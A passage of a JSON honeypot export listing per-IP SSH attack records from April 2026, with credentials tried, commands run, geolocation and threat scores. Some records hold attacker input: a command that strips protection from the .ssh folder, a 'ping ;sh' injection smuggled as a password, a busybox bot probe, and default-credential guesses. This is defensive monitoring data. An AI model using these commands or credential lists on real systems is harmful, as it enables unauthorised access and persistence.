        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-04-10T12:31:10.715000+00:00",
        "last_seen_30d": "2026-04-15T15:28:38.525000+00:00",
        "days_since_last_seen": 15
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 23,
        "Suricata": 12
      }
    },
    "43.160.206.186": {
      "attack_count": 23,
      "first_seen": "2026-04-26T17:23:29.622Z",
      "last_seen": "2026-04-26T17:23:34.007Z",
      "sessions": 3,
      "ports": [],
      "usernames_attempted": [
        "root",
        "345gs5662d34"
      ],
      "passwords_attempted": [
        "1q2w3e4r5T",
        "3245gs5662d34",
        "345gs5662d34"
      ],
      "commands_executed": [
        "cd ~; chattr -ia .ssh; lockr -ia .ssh",
        "lockr -ia .ssh"
      ],
      "event_types": [
        "cowrie.client.kex",
        "cowrie.client.version",
        "cowrie.session.closed",
        "cowrie.session.connect",
        "cowrie.command.input",
        "cowrie.log.closed",
        "cowrie.login.success",
        "cowrie.session.params",
        "cowrie.command.failed",
        "cowrie.login.failed"
      ],
      "country": "Singapore",
      "country_code": "SG",
      "city": "Singapore",
      "asn": 132203,
      "as_org": "Tencent Building, Kejizhongyi Avenue",
      "threat_score": 23.9,
      "threat_level": "low",
      "score_components": {
        "frequency": 14.8,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.87
      },
      "reputation_metrics": {
        "total_events_30d": 30,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-04-26T17:23:29.622000+00:00",
        "last_seen_30d": "2026-04-26T17:24:39.156000+00:00",
        "days_since_last_seen": 4
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 23,
        "Suricata": 7
      }
    },
    "124.187.108.131": {
      "attack_count": 22,
      "first_seen": "2026-04-27T12:37:37.202Z",
      "last_seen": "2026-04-27T12:52:28.670Z",
      "sessions": 11,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "Australia",
      "country_code": "AU",
      "city": "Adelaide",
      "asn": 1221,
      "as_org": "Telstra Limited",
      "threat_score": 26.6,
      "threat_level": "low",
      "score_components": {
        "frequency": 16.7,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.9
      },
      "reputation_metrics": {
        "total_events_30d": 47,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-04-27T12:37:37.202000+00:00",
        "last_seen_30d": "2026-04-27T12:59:24.079000+00:00",
        "days_since_last_seen": 3
      },
      "honeypot_breakdown_30d": {
        "Suricata": 25,
        "Cowrie": 22
      }
    },
    "101.96.202.228": {
      "attack_count": 20,
      "first_seen": "2026-04-19T23:11:51.587Z",
      "last_seen": "2026-04-19T23:12:06.407Z",
      "sessions": 4,
      "ports": [],
      "usernames_attempted": [
        "root"
      ],
      "passwords_attempted": [
        "---fuck_you----",
        "h3c.com!",
        "root123456"
      ],
      "commands_executed": [
        "uname -s -m"
      ],
      "event_types": [
        "cowrie.session.closed",
        "cowrie.session.connect",
        "cowrie.client.kex",
        "cowrie.client.version",
        "cowrie.login.failed",
        "cowrie.command.input",
        "cowrie.log.closed",
        "cowrie.login.success",
        "cowrie.session.params"
      ],
      "country": "China",
      "country_code": "CN",
      "city": null,
      "asn": 137718,
      "as_org": "Beijing Volcano Engine Technology Co., Ltd.",
      "threat_score": 17.4,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 14.6,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.63
      },
      "reputation_metrics": {
        "total_events_30d": 29,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-04-19T23:11:51.587000+00:00",
        "last_seen_30d": "2026-04-19T23:13:14.440000+00:00",
        "days_since_last_seen": 11
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 20,
        "Suricata": 9
      }
    },
    "115.191.23.138": {
      "attack_count": 20,
      "first_seen": "2026-04-27T20:18:30.117Z",
      "last_seen": "2026-04-27T20:58:57.946Z",
      "sessions": 4,
      "ports": [],
      "usernames_attempted": [
        "root"
      ],
      "passwords_attempted": [
        "1008",
        "202412",
        "chandra123",
        "ztesoft"
      ],
      "commands_executed": [],
      "event_types": [
        "cowrie.client.kex",
        "cowrie.client.version",
        "cowrie.login.failed",
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "China",
      "country_code": "CN",
      "city": null,
      "asn": 137718,
      "as_org": "Beijing Volcano Engine Technology Co., Ltd.",
      "threat_score": 25.1,
      "threat_level": "low",
      "score_components": {
        "frequency": 15.1,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.9
      },
      "reputation_metrics": {
        "total_events_30d": 32,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-04-27T20:18:30.117000+00:00",
        "last_seen_30d": "2026-04-27T20:59:59.056000+00:00",
        "days_since_last_seen": 3
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 20,
        "Suricata": 12
      }
    },
    "122.169.35.16": {
      "attack_count": 18,
      "first_seen": "2026-04-10T15:55:58.037Z",
      "last_seen": "2026-04-10T23:50:59.177Z",
      "sessions": 3,
      "ports": [],
      "usernames_attempted": [
        "root"
      ],
      "passwords_attempted": [
        "$2024kelltech",
        "kelltech$1",
        "kelltech2026@"
      ],
      "commands_executed": [
        "uname -a"
      ],
      "event_types": [
        "cowrie.client.kex",
        "cowrie.client.version",
        "cowrie.session.closed",
        "cowrie.session.connect",
        "cowrie.login.failed",
        "cowrie.command.input",
        "cowrie.log.closed",
        "cowrie.login.success",
        "cowrie.session.params"
      ],
      "country": "India",
      "country_code": "IN",
      "city": "Pune",
      "asn": 24560,
      "as_org": "Bharti Airtel Ltd., Telemedia Services",
      "threat_score": 10.0,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 14.3,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.37
      },
      "reputation_metrics": {
        "total_events_30d": 27,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-04-10T15:55:58.037000+00:00",
        "last_seen_30d": "2026-04-10T23:52:04.205000+00:00",
        "days_since_last_seen": 19
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 18,
        "Suricata": 9
      }
    },
    "185.93.89.103": {
      "attack_count": 18,
      "first_seen": "2026-04-10T10:41:36.633Z",
      "last_seen": "2026-04-15T15:36:04.457Z",
      "sessions": 3,
      "ports": [],
      "usernames_attempted": [
        "kelltech",
        "root"
      ],
      "passwords_attempted": [
        "!1234kelltech",
        "kelltech@2019",
        "kelltech@2020"
      ],
      "commands_executed": [
        "uname -a"
      ],
      "event_types": [
        "cowrie.client.kex",
        "cowrie.client.version",
        "cowrie.session.closed",
        "cowrie.session.connect",
        "cowrie.login.failed",
        "cowrie.command.input",
        "cowrie.log.closed",
        "cowrie.login.success",
        "cowrie.session.params"
      ],
      "country": "Iran",
      "country_code": "IR",
      "city": null,
      "asn": 213790,
      "as_org": "Limited Network LTD",
      "threat_score": 15.7,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 14.3,
        "persistence": 5.0,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.5
      },
      "reputation_metrics": {
        "total_events_30d": 27,
        "days_active_30d": 6,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-04-10T10:41:36.633000+00:00",
        "last_seen_30d": "2026-04-15T15:37:14.103000+00:00",
        "days_since_last_seen": 15
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 18,
        "Suricata": 9
      }
    },
    "43.226.46.156": {
      "attack_count": 18,
      "first_seen": "2026-04-24T23:22:22.949Z",
      "last_seen": "2026-04-25T20:13:57.266Z",
      "sessions": 5,
      "ports": [],
      "usernames_attempted": [
        "root"
      ],
      "passwords_attempted": [
        "------fuck------"
      ],
      "commands_executed": [],
      "event_types": [
        "cowrie.session.closed",
        "cowrie.session.connect",
        "cowrie.client.kex",
        "cowrie.client.version",
        "cowrie.login.failed"
      ],
      "country": "China",
      "country_code": "CN",
      "city": null,
      "asn": 134762,
      "as_org": "CHINANET Liaoning province Dalian MAN network",
      "threat_score": 23.7,
      "threat_level": "low",
      "score_components": {
        "frequency": 14.8,
        "persistence": 1.7,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.83
      },
      "reputation_metrics": {
        "total_events_30d": 30,
        "days_active_30d": 2,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-04-24T23:22:22.949000+00:00",
        "last_seen_30d": "2026-04-25T20:24:00.621000+00:00",
        "days_since_last_seen": 5
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 18,
        "Suricata": 12
      }
    },
    "179.43.186.241": {
      "attack_count": 16,
      "first_seen": "2026-04-03T10:39:54.662Z",
      "last_seen": "2026-04-04T03:58:11.450Z",
      "sessions": 4,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.client.kex",
        "cowrie.client.version",
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "Switzerland",
      "country_code": "CH",
      "city": "R\u00fcmlang",
      "asn": 51852,
      "as_org": "Private Layer INC",
      "threat_score": 47.5,
      "threat_level": "medium",
      "score_components": {
        "frequency": 17.6,
        "persistence": 18.3,
        "diversity": 6,
        "spread": 20,
        "recency_factor": 0.77
      },
      "reputation_metrics": {
        "total_events_30d": 57,
        "days_active_30d": 22,
        "ports_targeted_30d": 3,
        "honeypots_triggered_30d": 4,
        "first_seen_30d": "2026-04-02T22:39:56.391000+00:00",
        "last_seen_30d": "2026-04-23T15:59:11.376000+00:00",
        "days_since_last_seen": 7
      },
      "honeypot_breakdown_30d": {
        "Suricata": 33,
        "Cowrie": 16,
        "H0neytr4p": 7,
        "Honeytrap": 1
      }
    },
    "36.140.122.122": {
      "attack_count": 15,
      "first_seen": "2026-04-17T06:46:13.674Z",
      "last_seen": "2026-04-17T06:46:19.374Z",
      "sessions": 3,
      "ports": [],
      "usernames_attempted": [
        "root"
      ],
      "passwords_attempted": [
        "---fuck_you----",
        "root123456"
      ],
      "commands_executed": [
        "uname -s -m"
      ],
      "event_types": [
        "cowrie.session.closed",
        "cowrie.session.connect",
        "cowrie.client.kex",
        "cowrie.client.version",
        "cowrie.command.input",
        "cowrie.log.closed",
        "cowrie.login.failed",
        "cowrie.login.success",
        "cowrie.session.params"
      ],
      "country": "China",
      "country_code": "CN",
      "city": null,
      "asn": 9808,
      "as_org": "China Mobile Communications Group Co., Ltd.",
      "threat_score": 14.9,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 13.4,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.57
      },
      "reputation_metrics": {
        "total_events_30d": 22,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-04-17T06:46:13.674000+00:00",
        "last_seen_30d": "2026-04-17T06:47:28.386000+00:00",
        "days_since_last_seen": 13
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 15,
        "Suricata": 7
      }
    },
    "185.246.222.102": {
      "attack_count": 10,
      "first_seen": "2026-04-02T04:53:56.129Z",
      "last_seen": "2026-04-02T04:54:35.275Z",
      "sessions": 2,
      "ports": [],
      "usernames_attempted": [
        "admin",
        "orangepi"
      ],
      "passwords_attempted": [
        "admin",
        "orangepi"
      ],
      "commands_executed": [],
      "event_types": [
        "cowrie.client.kex",
        "cowrie.client.version",
        "cowrie.session.closed",
        "cowrie.session.connect",
        "cowrie.login.failed",
        "cowrie.login.success"
      ],
      "country": "Bulgaria",
      "country_code": "BG",
      "city": null,
      "asn": 215590,
      "as_org": "DpkgSoft International Limited",
      "threat_score": 2.5,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 12.0,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.1
      },
      "reputation_metrics": {
        "total_events_30d": 16,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-04-02T04:53:56.129000+00:00",
        "last_seen_30d": "2026-04-02T04:55:37.020000+00:00",
        "days_since_last_seen": 28
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 10,
        "Suricata": 6
      }
    },
    "46.247.40.154": {
      "attack_count": 10,
      "first_seen": "2026-04-17T09:08:14.914Z",
      "last_seen": "2026-04-17T09:08:51.795Z",
      "sessions": 2,
      "ports": [],
      "usernames_attempted": [
        "admin",
        "orangepi"
      ],
      "passwords_attempted": [
        "admin",
        "orangepi"
      ],
      "commands_executed": [],
      "event_types": [
        "cowrie.client.kex",
        "cowrie.client.version",
        "cowrie.session.closed",
        "cowrie.session.connect",
        "cowrie.login.failed",
        "cowrie.login.success"
      ],
      "country": "Kazakhstan",
      "country_code": "KZ",
      "city": null,
      "asn": 48716,
      "as_org": "PS Internet Company LLP",
      "threat_score": 14.1,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 12.0,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.57
      },
      "reputation_metrics": {
        "total_events_30d": 16,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-04-17T09:08:14.914000+00:00",
        "last_seen_30d": "2026-04-17T09:10:00.608000+00:00",
        "days_since_last_seen": 13
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 10,
        "Suricata": 6
      }
    },
    "177.55.72.194": {
      "attack_count": 9,
      "first_seen": "2026-04-01T11:35:07.528Z",
      "last_seen": "2026-04-01T11:36:11.170Z",
      "sessions": 1,
      "ports": [],
      "usernames_attempted": [
        "admin",
        "enable",
        "linuxshell",
        "shell"
      ],
      "passwords_attempted": [
        "password1",
        "ping ;sh",
        "sh",
        "system"
      ],
      "commands_executed": [
        "/bin/busybox BOT"
      ],
      "event_types": [
        "cowrie.login.failed",
        "cowrie.command.input",
        "cowrie.log.closed",
        "cowrie.login.success",
        "cowrie.session.closed",
        "cowrie.session.connect",
        "cowrie.session.params"
      ],
      "country": "Brazil",
      "country_code": "BR",
      "city": "Marab\u00e1",
      "asn": 264496,
      "as_org": "Fibralink LTDA",
      "threat_score": 2.3,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 10.0,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.1
      },
      "reputation_metrics": {
        "total_events_30d": 10,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-04-01T11:35:07.528000+00:00",
        "last_seen_30d": "2026-04-01T11:37:16.226000+00:00",
        "days_since_last_seen": 29
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 9,
        "Suricata": 1
      }
    },
    "14.103.112.108": {
      "attack_count": 8,
      "first_seen": "2026-04-28T17:44:22.010Z",
      "last_seen": "2026-04-28T18:01:36.638Z",
      "sessions": 2,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.client.kex",
        "cowrie.client.version",
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "China",
      "country_code": "CN",
      "city": null,
      "asn": 4811,
      "as_org": "China Telecom Group",
      "threat_score": 22.7,
      "threat_level": "low",
      "score_components": {
        "frequency": 11.5,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.93
      },
      "reputation_metrics": {
        "total_events_30d": 14,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-04-28T17:44:22.010000+00:00",
        "last_seen_30d": "2026-04-28T18:11:46.315000+00:00",
        "days_since_last_seen": 2
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 8,
        "Suricata": 6
      }
    },
    "197.242.145.80": {
      "attack_count": 8,
      "first_seen": "2026-04-30T05:30:18.688Z",
      "last_seen": "2026-04-30T05:30:57.810Z",
      "sessions": 4,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "South Africa",
      "country_code": "ZA",
      "city": "Johannesburg",
      "asn": 37611,
      "as_org": "AFRIHOST-SP",
      "threat_score": 24.0,
      "threat_level": "low",
      "score_components": {
        "frequency": 11.1,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 1.0
      },
      "reputation_metrics": {
        "total_events_30d": 13,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-04-30T05:30:18.688000+00:00",
        "last_seen_30d": "2026-04-30T05:32:02.093000+00:00",
        "days_since_last_seen": 0
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 8,
        "Suricata": 5
      }
    },
    "198.235.24.213": {
      "attack_count": 8,
      "first_seen": "2026-04-15T10:33:44.957Z",
      "last_seen": "2026-04-21T22:55:46.128Z",
      "sessions": 2,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.client.kex",
        "cowrie.client.version",
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "United States",
      "country_code": "US",
      "city": null,
      "asn": 396982,
      "as_org": "Google LLC",
      "threat_score": 80.0,
      "threat_level": "critical",
      "score_components": {
        "frequency": 20.8,
        "persistence": 24.2,
        "diversity": 20,
        "spread": 15,
        "recency_factor": 1.0
      },
      "reputation_metrics": {
        "total_events_30d": 120,
        "days_active_30d": 29,
        "ports_targeted_30d": 35,
        "honeypots_triggered_30d": 3,
        "first_seen_30d": "2026-04-02T21:39:12+00:00",
        "last_seen_30d": "2026-04-30T05:01:35.640000+00:00",
        "days_since_last_seen": 0
      },
      "honeypot_breakdown_30d": {
        "Suricata": 80,
        "Honeytrap": 32,
        "Cowrie": 8
      }
    },
    "200.196.50.91": {
      "attack_count": 8,
      "first_seen": "2026-04-21T21:48:52.359Z",
      "last_seen": "2026-04-29T01:34:38.865Z",
      "sessions": 2,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.client.kex",
        "cowrie.client.version",
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "Brazil",
      "country_code": "BR",
      "city": "Rio de Janeiro",
      "asn": 17222,
      "as_org": "MUNDIVOX DO BRASIL LTDA",
      "threat_score": 30.2,
      "threat_level": "low",
      "score_components": {
        "frequency": 11.8,
        "persistence": 7.5,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.97
      },
      "reputation_metrics": {
        "total_events_30d": 15,
        "days_active_30d": 9,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-04-21T21:48:52.359000+00:00",
        "last_seen_30d": "2026-04-29T01:35:45.801000+00:00",
        "days_since_last_seen": 1
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 8,
        "Suricata": 7
      }
    },
    "71.6.158.166": {
      "attack_count": 8,
      "first_seen": "2026-04-21T16:15:28.642Z",
      "last_seen": "2026-04-21T16:15:30.064Z",
      "sessions": 2,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.client.kex",
        "cowrie.client.version",
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "United States",
      "country_code": "US",
      "city": null,
      "asn": 10439,
      "as_org": "CariNet, Inc.",
      "threat_score": 91.6,
      "threat_level": "critical",
      "score_components": {
        "frequency": 25.6,
        "persistence": 24.2,
        "diversity": 20,
        "spread": 25,
        "recency_factor": 0.97
      },
      "reputation_metrics": {
        "total_events_30d": 360,
        "days_active_30d": 29,
        "ports_targeted_30d": 58,
        "honeypots_triggered_30d": 7,
        "first_seen_30d": "2026-04-01T01:14:34.438000+00:00",
        "last_seen_30d": "2026-04-29T12:41:46.038000+00:00",
        "days_since_last_seen": 1
      },
      "honeypot_breakdown_30d": {
        "Suricata": 258,
        "Honeytrap": 80,
        "Cowrie": 8,
        "H0neytr4p": 5,
        "Redishoneypot": 5,
        "Adbhoney": 2,
        "Honeyaml": 2
      }
    },
    "111.70.1.128": {
      "attack_count": 6,
      "first_seen": "2026-04-27T11:41:35.581Z",
      "last_seen": "2026-04-27T11:43:39.714Z",
      "sessions": 2,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.session.closed",
        "cowrie.session.connect",
        "cowrie.client.kex",
        "cowrie.client.version"
      ],
      "country": "Taiwan",
      "country_code": "TW",
      "city": "Beitun",
      "asn": 17421,
      "as_org": "Mobile Business Group",
      "threat_score": 20.6,
      "threat_level": "low",
      "score_components": {
        "frequency": 10.0,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.9
      },
      "reputation_metrics": {
        "total_events_30d": 10,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-04-27T11:41:35.581000+00:00",
        "last_seen_30d": "2026-04-27T11:53:44.528000+00:00",
        "days_since_last_seen": 3
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 6,
        "Suricata": 4
      }
    },
    "36.89.252.58": {
      "attack_count": 6,
      "first_seen": "2026-04-01T03:25:58.194Z",
      "last_seen": "2026-04-01T03:26:00.981Z",
      "sessions": 1,
      "ports": [],
      "usernames_attempted": [
        "root"
      ],
      "passwords_attempted": [
        "admin",
        "root"
      ],
      "commands_executed": [],
      "event_types": [
        "cowrie.client.kex",
        "cowrie.client.version",
        "cowrie.login.failed",
        "cowrie.login.success",
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "Indonesia",
      "country_code": "ID",
      "city": null,
      "asn": 7713,
      "as_org": "PT Telekomunikasi Indonesia",
      "threat_score": 2.3,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 10.0,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.1
      },
      "reputation_metrics": {
        "total_events_30d": 10,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-04-01T03:25:58.194000+00:00",
        "last_seen_30d": "2026-04-01T03:27:09.997000+00:00",
        "days_since_last_seen": 29
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 6,
        "Suricata": 4
      }
    },
    "66.132.172.190": {
      "attack_count": 6,
      "first_seen": "2026-04-29T01:46:21.307Z",
      "last_seen": "2026-04-29T01:47:01.876Z",
      "sessions": 3,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "United States",
      "country_code": "US",
      "city": null,
      "asn": 398324,
      "as_org": "Censys, Inc.",
      "threat_score": 88.7,
      "threat_level": "critical",
      "score_components": {
        "frequency": 22.6,
        "persistence": 24.2,
        "diversity": 20,
        "spread": 25,
        "recency_factor": 0.97
      },
      "reputation_metrics": {
        "total_events_30d": 183,
        "days_active_30d": 29,
        "ports_targeted_30d": 39,
        "honeypots_triggered_30d": 8,
        "first_seen_30d": "2026-04-01T19:40:29+00:00",
        "last_seen_30d": "2026-04-29T01:48:07.336000+00:00",
        "days_since_last_seen": 1
      },
      "honeypot_breakdown_30d": {
        "Suricata": 117,
        "Honeytrap": 38,
        "ElasticPot": 14,
        "Cowrie": 6,
        "Tanner": 4,
        "Dicompot": 1,
        "Sentrypeer": 1
      }
    },
    "66.132.195.120": {
      "attack_count": 6,
      "first_seen": "2026-04-18T14:32:53.046Z",
      "last_seen": "2026-04-18T14:33:34.956Z",
      "sessions": 3,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "United States",
      "country_code": "US",
      "city": null,
      "asn": 398324,
      "as_org": "Censys, Inc.",
      "threat_score": 80.1,
      "threat_level": "critical",
      "score_components": {
        "frequency": 18.3,
        "persistence": 22.5,
        "diversity": 20,
        "spread": 25,
        "recency_factor": 0.93
      },
      "reputation_metrics": {
        "total_events_30d": 68,
        "days_active_30d": 27,
        "ports_targeted_30d": 17,
        "honeypots_triggered_30d": 8,
        "first_seen_30d": "2026-04-02T09:44:49+00:00",
        "last_seen_30d": "2026-04-28T00:48:09.006000+00:00",
        "days_since_last_seen": 2
      },
      "honeypot_breakdown_30d": {
        "Suricata": 30,
        "Honeytrap": 12,
        "Miniprint": 7,
        "Cowrie": 6,
        "Redishoneypot": 6,
        "ElasticPot": 4,
        "Adbhoney": 2,
        "Dicompot": 1
      }
    },
    "66.132.224.87": {
      "attack_count": 6,
      "first_seen": "2026-04-08T07:08:32.211Z",
      "last_seen": "2026-04-08T07:09:14.677Z",
      "sessions": 3,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "United States",
      "country_code": "US",
      "city": null,
      "asn": 398324,
      "as_org": "Censys, Inc.",
      "threat_score": 90.4,
      "threat_level": "critical",
      "score_components": {
        "frequency": 20.4,
        "persistence": 25,
        "diversity": 20,
        "spread": 25,
        "recency_factor": 1.0
      },
      "reputation_metrics": {
        "total_events_30d": 110,
        "days_active_30d": 30,
        "ports_targeted_30d": 25,
        "honeypots_triggered_30d": 7,
        "first_seen_30d": "2026-04-01T05:15:40+00:00",
        "last_seen_30d": "2026-04-30T18:22:55.144000+00:00",
        "days_since_last_seen": 0
      },
      "honeypot_breakdown_30d": {
        "Suricata": 69,
        "Honeytrap": 22,
        "Miniprint": 7,
        "Cowrie": 6,
        "ElasticPot": 4,
        "Dicompot": 1,
        "Dionaea": 1
      }
    },
    "68.183.80.181": {
      "attack_count": 6,
      "first_seen": "2026-04-23T18:27:36.268Z",
      "last_seen": "2026-04-23T18:27:36.564Z",
      "sessions": 2,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.client.version",
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "India",
      "country_code": "IN",
      "city": "Bengaluru",
      "asn": 14061,
      "as_org": "DigitalOcean, LLC",
      "threat_score": 18.9,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 11.8,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.77
      },
      "reputation_metrics": {
        "total_events_30d": 15,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-04-23T18:25:35.181000+00:00",
        "last_seen_30d": "2026-04-23T18:28:37.309000+00:00",
        "days_since_last_seen": 7
      },
      "honeypot_breakdown_30d": {
        "Suricata": 9,
        "Cowrie": 6
      }
    },
    "87.236.176.22": {
      "attack_count": 6,
      "first_seen": "2026-04-21T11:58:16.042Z",
      "last_seen": "2026-04-21T11:58:18.795Z",
      "sessions": 2,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.session.closed",
        "cowrie.session.connect",
        "cowrie.client.kex",
        "cowrie.client.version"
      ],
      "country": "United Kingdom",
      "country_code": "GB",
      "city": null,
      "asn": 211298,
      "as_org": "Driftnet Ltd",
      "threat_score": 16.3,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 10.4,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.7
      },
      "reputation_metrics": {
        "total_events_30d": 11,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-04-21T11:58:16.042000+00:00",
        "last_seen_30d": "2026-04-21T11:59:27.196000+00:00",
        "days_since_last_seen": 9
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 6,
        "Suricata": 5
      }
    },
    "194.87.216.198": {
      "attack_count": 5,
      "first_seen": "2026-04-08T13:28:01.388Z",
      "last_seen": "2026-04-08T13:28:04.353Z",
      "sessions": 1,
      "ports": [],
      "usernames_attempted": [
        "admin"
      ],
      "passwords_attempted": [
        "admin"
      ],
      "commands_executed": [],
      "event_types": [
        "cowrie.client.kex",
        "cowrie.client.version",
        "cowrie.login.failed",
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "The Netherlands",
      "country_code": "NL",
      "city": "Amsterdam",
      "asn": 215540,
      "as_org": "Global Connectivity Solutions Llp",
      "threat_score": 35.9,
      "threat_level": "low",
      "score_components": {
        "frequency": 20.6,
        "persistence": 11.7,
        "diversity": 4,
        "spread": 15,
        "recency_factor": 0.7
      },
      "reputation_metrics": {
        "total_events_30d": 114,
        "days_active_30d": 14,
        "ports_targeted_30d": 2,
        "honeypots_triggered_30d": 3,
        "first_seen_30d": "2026-04-08T13:17:17.684000+00:00",
        "last_seen_30d": "2026-04-21T04:16:43.904000+00:00",
        "days_since_last_seen": 9
      },
      "honeypot_breakdown_30d": {
        "Suricata": 62,
        "Tanner": 47,
        "Cowrie": 5
      }
    },
    "147.185.132.63": {
      "attack_count": 4,
